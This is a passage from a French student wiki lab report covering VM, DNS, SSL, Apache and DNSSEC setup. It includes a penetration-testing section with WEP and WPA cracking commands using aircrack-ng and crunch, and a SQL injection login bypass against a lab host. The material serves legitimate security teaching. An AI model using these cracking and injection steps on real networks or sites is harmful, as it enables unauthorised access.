0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec .0.....N...=..L.<br />
00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa J......G.^..._..<br />
00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12 ...I.....s".....<br />
00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0 .?.$..R.1.iD....<br />
00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85 .3M..?...(..m/.. <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67<br />
Session-ID-ctx: <br />
Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5 ......k-.F.P"(..<br />
0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0 $\'@.X...A..!...<br />
0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e .........T..p..N<br />
0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90 H......`m.....0.<br />
0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29 hZ.......$.!'6.)<br />
0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf 7:.S.*&.....n.k.<br />
0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55 ..D...._g....:.U<br />
0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09 ........>a.m....<br />
0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9 M.'..R.._.....g.<br />
00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8 ......c6........<br />
00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2 nU...St.t.s.....<br />
00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14 1Y...".O#...d.\.<br />
00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e ....K..C\'...... <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
closed<br />
<br />
La commande :<br />
apachectl configtest<br />
nous confirme que la config est OK<br />
<br />
<br />
En se connectant à l'adresse https://www.corona59.club/index.html, le navigateur affiche bien notre page d'accueil index.html<br />
<br />
=Securisation du DNS avec DNSSEC =<br />
On souhaite sécuriser notre DNS à l'aide de DNSSEC. Pour ce faire, on génère des clés dans le repertoire /etc/bind/corona59.club.dnssec/ avec <br />
dnssec-keygen -a NSEC3RSASHA1 -b 4096 -f KSK -n ZONE ns.corona59.club<br />
dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE ns.corona59.club<br />
<br />
on renomme respectivement les fichiers obtenus ksk.{key/private} et zsk.{key/private} <br />
on ajoute dans /etc/bind/db.corona59.club :<br />
$INCLUDE "/etc/bind/corona59.club.dnssec/corona59.club-ksk.key"<br />
$INCLUDE "/etc/bind/corona59.club.dnssec/corona59.club-zsk.key"<br />
<br />
On signe avec la commande :<br />
dnssec-signzone -o ns.corona59.club -k ksk ../db.corona59.club zsk<br />
<br />
on obtient :<br />
Verifying the zone using the following algorithms:<br />
- NSEC3RSASHA1<br />
Zone fully signed:<br />
Algorithm: NSEC3RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked<br />
ZSKs: 1 active, 0 stand-by, 0 revoked<br />
../db.corona59.club.signed<br />
<br />
ainsi qu'un fichier que l'on renomme en corona59.club.signed<br />
Ensuite, on modifie le fichier /etc/bind/named.conf.local pour avoir :<br />
zone "corona59.club" {<br />
type master;<br />
file "/etc/bind/corona59.club.dnssec/corona59.club.signed";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
On ajoute ensuite notre clé ksk.key dans l'onglet DNSSEC.<br />
Enfin, on teste que ça fonctionne avec le site 'https://dnssec-analyzer.verisignlabs.com/corona59.club'<br />
<br />
=Test d'intrusion=<br />
<br />
On commence par tenter de casser une clé WEP.<br />
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :<br />
airmon-ng<br />
<br />
puis on lance (3 représente la channel utilisée)<br />
airmon-ng start NOM_DE_L_INTERFACE 3<br />
<br />
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.<br/><br />
Pour visualiser les paquets sniffés, on execute alors <br />
airodump-ng -c 3 wlan0mon<br />
<br />
On observe plusieurs emetteurs, avec leur BSSID associé.<br />
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A<br />
On lance alors la commande : <br />
airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon<br />
<br />
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :<br />
aircrack-ng MonFichier-01.cap<br />
<br />
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.<br />
<br />
<br />
On essaye à présent de casser une clé WPA.<br />
On scanne la bande de fréquence 9 :<br />
airodump-ng -c 9 wlan0mon<br />
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A<br />
On récupère ensuite des handshakes avec la commande : <br />
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon<br />
Par la suite, on souhaite utiliser l'utilitaire crunch.<br />
apt install crunch<br />
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :<br />
auto enp4s0<br />
iface enp4s0 inet static<br />
address 172.26.145.121/24<br />
gateway 172.26.145.254<br />
<br />
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :<br />
crunch 8 8 0123456789 -o password.lst<br />
<br />
Enfin, on lance la commande :<br />
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap<br />
<br />
Le processus peut prendre plusieurs heures.<br />
<br />
=Injection SQL=<br />
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend<br />
Pour ce faire, on met dans la cellule 'identifiant' la valeur <br />
' OR 1 = 1;<br />
Coté backend, la requete SQL effectuée ressemble probablement à<br />
select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';<br />
<br />
En conséquence, notre injection génère la requete :<br />
select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';<br />
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table<br />
On accède ainsi à l'identifiant admin ainsi qu'au mot de passe que l'on utilise pour se connecter.<br />
<br />
=TP ASR=<br />
<br />
on télécharge le dossier fourni par Thomas sur 'https://github.com/thomas-maurice/polytech-asr-lab'<br />
on définit une clé SSH et créé un environnement python virtuel : <br />
$ ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C "your.name@polytech-lille.net" -P ''<br />
<br />
$ python3 -m venv ~/env-ansible<br />
$ . ~/env-ansible/bin/activate<br />
$ pip3 install -U setuptools wheel<br />
$ pip3 install -U ansible<br />
<br />
puis <br />
$ ansible-playbook -v -i inventory polytech.yaml<br />
<br />
Parallèlement, on configure notre VM sur chassiron.plil.info. On utilise comme machine virtuelle celle attribuée à notre groupe (groupe 11) :<br />
$ cd /etc/xen<br />
$ xen create pra-11.cfg<br />
$ xen console pra-11<br />
<br />
On se log dans la VM et on configure l'interface eth0 dans /etc/network/interfaces:<br />
auto eth0<br />
iface eth0 inet static <br />
address 172.26.145.111<br />
netmask 255.255.255.0<br />
network 172.26.145.0<br />
gateway 172.26.145.254<br />
<br />
On s'assure qu'on peut ping l'adresse de la VM depuis la zabeth.<br />
On cherche à configurer automatiquement les clés SSH acceptées par la VM grâce à Ansible. Pour cela, on créé un nouveau role dans le dossier 'roles' que l'on appelle ssh-keys.<br />
On créé les dossiers templates et tasks en se basant sur le dossier base fourni.<br />
---<br />
- hosts: all<br />
roles:<br />
# installs the `ssh_keys` role onto the targetted host<br />
- role: ssh_key<br />
tags: ssh_key<br />
<br />
On change également dans polytech.yaml les roles que l'on souhaite appeller au lancement de Ansible (on remplace base par ssh_key)<br />
PRA-11 ansible_ssh_host="172.26.145.111"<br />
<br />
<br />
Dans inventory, on spécifie le nom de la machine ainsi que l'adresse ip de cette dernière<br />
On doit également ajouter une task afin de patch la distro BullsEye que l'on utilise sur la VM :<br />
#<br />
# /etc/apt/sources.list<br />
#<br />
#<br />
# bullseye<br />
#<br />
deb http://deb.debian.org/debian bullseye main contrib non-free<br />
deb-src http://deb.debian.org/debian bullseye main contrib non-free<br />
# <br />
# Security updates<br />
# <br />
deb http://security.debian.org/debian-security bullseye-security main contrib non-free<br />
<br />
On installe enfin python3 sur la VM, nécessaire pour le déploiment.</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&diff=57954TP sysres IMA5 2021/2022 G112022-01-12T11:51:49Z<p>Cgodet1 : /* TP ASR */</p>
<hr />
<div>=Creation de la machine virtuelle=<br />
<br />
Tout d'abord, s'il y a un problème de proxy, taper la commande :<br />
export http_proxy=http://proxy.plil.fr:3128<br />
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.<br />
<br />
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton<br />
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton<br />
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.<br />
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.<br />
<br />
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.<br />
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.<br />
<br />
xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :<br />
<br />
lvcreate -L10G -n Corona1 storage<br />
lvcreate -L10G -n Corona2 storage<br />
<br />
On les formate en ext4 :<br />
<br />
mkfs.ext4 /dev/storage/Corona1<br />
mkfs.ext4 /dev/storage/Corona2<br />
<br />
Enfin, on modifie le fichier /etc/xen/Corona.cfg :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
]<br />
<br />
devient :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
'phy:/dev/storage/Corona1,xvda3,w',<br />
'phy:/dev/storage/Corona2,xvda4,w',<br />
]<br />
<br />
et <br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]<br />
<br />
devient :<br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]<br />
<br />
<br />
Pour lancer la VM, on execute :<br />
<br />
xl create -c /etc/xen/Corona.cfg<br />
<br />
<br />
Dans la VM, on visualise les informations relatives au file system avec la commande :<br />
<br />
cat /etc/fstab<br />
<br />
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :<br />
<br />
mkdir /mnt/xvda3<br />
mkdir /mnt/xvda4<br />
mount /dev/xvda3 /mnt/xvda3<br />
mount /dev/xvda4 /mnt/xvda4<br />
<br />
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :<br />
<br />
mv /var/* /mnt/xvda4<br />
<br />
Puis dans /etc/fstab, on ajoute :<br />
<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
Ensuite, on execute : <br />
<br />
mount -a<br />
<br />
Enfin, on vérifie que les partitions ajoutées existent : <br />
<br />
lsblk<br />
<br />
<br />
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :<br />
<br />
iface eth0 inet6 auto <br />
<br />
On applique les changements en redemarrant : <br />
<br />
systemctl restart networking<br />
<br />
On vérifie que la modification a eu lieu :<br />
<br />
ip a<br />
<br />
<br />
Raccourci pour quitter la VM : CTRL + ']'<br/><br />
Commande pour se connecter à la VM : xen console Corona<br />
<br />
=Configuration de la VM=<br />
A présent, on configure la VM.<br />
On installe openssh-server s'il n'est pas installé :<br />
apt install openssh-server<br />
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :<br />
PermitRootLogin without-password<br />
PubkeyAuthentication yes<br />
<br />
Puis on recharge la configuration avec :<br />
systemctl reload ssh<br />
<br />
Sur la zabeth, on créé une clé ssh avec :<br />
ssh-keygen -t ed25519<br />
<br />
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.<br />
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : <br />
ssh -o "IdentitiesOnly=yes" -i ma_cle_privée root@193.48.57.186<br />
<br />
<br />
=Déploiement site=<br />
On achète le nom de domaine 'corona59.club' sur Gandi.net<br />
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.<br />
On configure également notre nameserver dans Domain > MON_NOM_DE_DOMAINE > nameservers<br />
On ajoute un nameserver externe. En premier on met "ns.corona59.club", en deuxième on met "ns6.gandi.net"<br />
<br />
<br />
On installe ensuite bind sur la vm :<br />
apt install bind9<br />
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :<br />
nameserver 193.48.57.186<br />
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)<br />
On modifie ensuite /etc/bind/named.conf.local :<br />
zone MON_NOM_DE_DOMAINE {<br />
type master;<br />
file "/etc/bind/db.MON_NOM_DE_DOMAINE<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
l'adresse "217.70.177.40" correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.<br />
<br />
On créé ensuite le fichier /etc/bind/db.corona59.club :<br />
$TTL 604800<br />
@ IN SOA ns.corona59.club postmaster.corona59.club. (<br />
4 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns.corona59.club.<br />
@ IN NS ns6.gandi.net.<br />
<br />
On ajoute au fichier /etc/bind/db.corona59.club :<br />
ns IN A 193.48.57.186<br />
www IN A 193.48.57.186<br />
IN AAAA 2001:7a8:116e:60b0:216:3eff:feae:eaec<br />
<br />
On teste que notre configuration est correcte :<br />
host -t any ns.corona59.club localhost<br />
On obtient :<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800<br />
corona59.club name server ns.corona59.club.<br />
corona59.club name server ns6.gandi.net.<br />
<br />
Si on obtient pas ça, penser à lancer la commande :<br />
tail -50 /var/log/daemon.log<br />
afin de voir ce qui c'est mal passé.<br />
<br />
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec <br />
service bind9 restart<br />
<br />
=Certificat SSL=<br />
Pour obtenir un certificat SSL, on tape :<br />
openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr <br />
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans "Common Name"<br />
Un fichier .csr et .key sont créés.<br />
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create<br />
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.<br />
<br />
=Serveur web=<br />
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.<br />
a2enmod ssl<br />
<br />
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :<br />
<br />
<VirtualHost 193.48.57.186:443><br />
ServerName corona59.club<br />
ServerAlias www.corona59.club<br />
DocumentRoot /var/www/corona59.club/<br />
CustomLog /var/log/apache2/secure_access.log combined<br />
<br />
SSLEngine on<br />
SSLCertificateFile /etc/ssl/certs/corona59.club.crt<br />
SSLCertificateKeyFile /etc/ssl/corona59.club.key<br />
SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem<br />
SSLVerifyClient None<br />
</VirtualHost><br />
<br />
On active notre site avec la commande :<br />
a2ensite 000-corona59.club-ssl <br />
<br />
On édite le fichier /etc/apache2/apache2.conf en rajoutant <br />
ServerName corona59.club<br />
<br />
On relance apache :<br />
systemctl reload apache2<br />
<br />
On teste le fonctionnement avec :<br />
openssl s_client -connect 193.48.57.186:443<br />
<br />
CONNECTED(00000003)<br />
Can't use SSL_get_servername<br />
depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
verify return:1<br />
depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
verify return:1<br />
depth=0 CN = corona59.club<br />
verify return:1<br />
---<br />
Certificate chain<br />
0 s:CN = corona59.club<br />
i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
---<br />
Server certificate<br />
-----BEGIN CERTIFICATE-----<br />
MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw<br />
XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO<br />
MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy<br />
MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y<br />
b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW<br />
oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB<br />
OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf<br />
erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f<br />
D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs<br />
0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh<br />
Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf<br />
fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B<br />
Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB<br />
BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo<br />
dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag<br />
NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB<br />
Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz<br />
ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG<br />
GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku<br />
Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB<br />
ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD<br />
AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ<br />
JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb<br />
A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1<br />
5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB<br />
DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD<br />
AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV<br />
UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H<br />
XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5<br />
B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9<br />
TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X<br />
cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama<br />
7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY<br />
e0D4Wcue+OV6y/j2<br />
-----END CERTIFICATE-----<br />
subject=CN = corona59.club <br />
<br />
issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
<br />
---<br />
No client certificate CA names sent<br />
Peer signing digest: SHA256<br />
Peer signature type: RSA-PSS<br />
Server Temp Key: X25519, 253 bits<br />
---<br />
SSL handshake has read 3674 bytes and written 363 bytes<br />
Verification: OK<br />
---<br />
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384<br />
Server public key is 2048 bit<br />
Secure Renegotiation IS NOT supported<br />
Compression: NONE<br />
Expansion: NONE<br />
No ALPN negotiated<br />
Early data was not sent<br />
Verify return code: 0 (ok)<br />
---<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF<br />
Session-ID-ctx: <br />
Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2 ....N...j.F^....<br />
0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50 ..LB..J..8.}.[3P<br />
0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6 k..i.W}....u....<br />
0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62 .s..E...b.G....b<br />
0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0 &_.....TUV,..B..<br />
0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75 .\../.i(...Fi..u<br />
0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28 ..;(.......R../(<br />
0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7 .,.....D...[.lk.<br />
0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec .0.....N...=..L.<br />
00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa J......G.^..._..<br />
00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12 ...I.....s".....<br />
00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0 .?.$..R.1.iD....<br />
00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85 .3M..?...(..m/.. <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67<br />
Session-ID-ctx: <br />
Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5 ......k-.F.P"(..<br />
0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0 $\'@.X...A..!...<br />
0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e .........T..p..N<br />
0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90 H......`m.....0.<br />
0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29 hZ.......$.!'6.)<br />
0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf 7:.S.*&.....n.k.<br />
0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55 ..D...._g....:.U<br />
0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09 ........>a.m....<br />
0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9 M.'..R.._.....g.<br />
00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8 ......c6........<br />
00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2 nU...St.t.s.....<br />
00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14 1Y...".O#...d.\.<br />
00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e ....K..C\'...... <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
closed<br />
<br />
La commande :<br />
apachectl configtest<br />
nous confirme que la config est OK<br />
<br />
<br />
En se connectant à l'adresse https://www.corona59.club/index.html, le navigateur affiche bien notre page d'accueil index.html<br />
<br />
=Securisation du DNS avec DNSSEC =<br />
On souhaite sécuriser notre DNS à l'aide de DNSSEC. Pour ce faire, on génère des clés dans le repertoire /etc/bind/corona59.club.dnssec/ avec <br />
dnssec-keygen -a NSEC3RSASHA1 -b 4096 -f KSK -n ZONE ns.corona59.club<br />
dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE ns.corona59.club<br />
<br />
on renomme respectivement les fichiers obtenus ksk.{key/private} et zsk.{key/private} <br />
on ajoute dans /etc/bind/db.corona59.club :<br />
